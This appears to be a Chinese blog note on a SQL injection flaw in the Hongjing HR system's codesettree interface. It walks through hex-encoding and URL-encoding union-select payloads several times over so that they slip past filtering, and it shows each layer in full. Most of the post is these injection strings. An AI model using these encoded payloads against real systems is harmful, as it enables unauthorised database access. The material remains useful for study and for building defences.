抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

漏洞录入《宏景人力资源信息管理系统 codesettree 接口 SQL 注入漏洞》,汲取的灵感。

那个编码,对一些特殊字符,用百分号+十六进制的骚方法。。。。先普通url一次之后,再对一些特殊字符编码。
他不是简单的多次url编码。这是另一种url编码。叫encodeURIComponent,这是java中的一个类。

java对url编码有两种方式,一个是encodeURI,一个是encodeURIComponent

然后我发现,encodeURI的方式,就不会解码%2C。也就是不会对,这些特殊字符进行编码


URL Decode Online | URLDecoder

一个实例

1
1' union all select 849754578,(select @@VERSION) --

进行第一次url编码,整体编码。URL Encode Online | URLEncoder

1
1%27%20union%20all%20select%20849754578%2C%28select%20%40%40VERSION%29%20--

会发现,数字部分以及--部分没有被编码,所以需要找16进制对应的部分,加上%,再次编码

1
%31%27%20union%20all%20select%20%38%34%39%37%35%34%35%37%38%2C%28select%20%40%40VERSION%29%20%2d%2d

有必要的话,还需要将%换成~

1
~31~27~20union~20all~20select~20~38~34~39~37~35~34~35~37~38~2c~28select~20~40~40VERSION~29~20~2d~2d

然后这一串,就可以去get,在burp发送数据包了

多次url编码实例

多次 url 编码,是多次16进制的编码

最终编码结果

1
%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%38%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%37%25%33%39%25%32%35%25%33%37%25%33%33%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%35%25%36%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%37%25%33%31%25%32%35%25%33%36%25%36%33%25%32%35%25%33%37%25%33%36%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%32%25%32%35%25%33%32%25%33%38%25%32%35%25%33%34%25%33%38%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%38%25%32%35%25%33%34%25%33%32%25%32%35%25%33%37%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%32%25%33%38%25%32%35%25%33%32%25%33%37%25%32%35%25%33%34%25%36%34%25%32%35%25%33%34%25%33%34%25%32%35%25%33%33%25%33%35%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%33%31%25%32%35%25%33%33%25%33%32%25%32%35%25%33%33%25%33%33%25%32%35%25%33%33%25%33%34%25%32%35%25%33%33%25%33%35%25%32%35%25%33%33%25%33%36%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%33%31

解码一次

1
%25%33%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%33%25%37%39%25%37%33%25%32%65%25%36%36%25%36%65%25%35%66%25%37%33%25%37%31%25%36%63%25%37%36%25%36%31%25%37%32%25%36%32%25%36%31%25%37%33%25%36%35%25%37%34%25%36%66%25%37%33%25%37%34%25%37%32%25%32%38%25%34%38%25%36%31%25%37%33%25%36%38%25%34%32%25%37%39%25%37%34%25%36%35%25%37%33%25%32%38%25%32%37%25%34%64%25%34%34%25%33%35%25%32%37%25%32%63%25%32%37%25%33%31%25%33%32%25%33%33%25%33%34%25%33%35%25%33%36%25%32%37%25%32%39%25%32%39%25%32%39%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%32%37%25%33%31

解码两次

1
%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%28%73%65%6c%65%63%74%20%73%79%73%2e%66%6e%5f%73%71%6c%76%61%72%62%61%73%65%74%6f%73%74%72%28%48%61%73%68%42%79%74%65%73%28%27%4d%44%35%27%2c%27%31%32%33%34%35%36%27%29%29%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%27%31

解码三次

1
1' union select 1%2c(select sys.fn_sqlvarbasetostr(HashBytes('MD5'%2c'123456'))) union select 1%2c'1

原始payload

1
1' union select 1,(select sys.fn_sqlvarbasetostr(HashBytes('MD5','123456'))) union select 1,'1

正向编码实例

注意!每一次编码过后,原本的特殊字符编码,不要再次编码,比如,是%2c,不要对他进行重复编码。

原始 payload

1
1' union select 1,(select @@VERSION) union select 1,'1

对特殊字符进行编码

1
1' union select 1%2c(select %40%40VERSION) union select 1%2c'1

第一次编码

hex之后,在前面加百分号,正则匹配【find:(..) replace:%\1】

注意,%2c %40不编码

1
%31%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%28%73%65%6c%65%63%74%20%40%40%56%45%52%53%49%4f%4e%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%27%31

第二次编码

直接把上面那段,放进hex之后,加%就可以

16进制转换,16进制转换文本字符串,在线16进制转换 | 在线工具 (sojson.com)

1
%25%33%31%25%32%37%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%34%30%25%34%30%25%35%36%25%34%35%25%35%32%25%35%33%25%34%39%25%34%66%25%34%65%25%32%39%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%32%37%25%33%31

第三次编码

丢进hex

1
%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%38%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%35%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%39%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%33%31

评论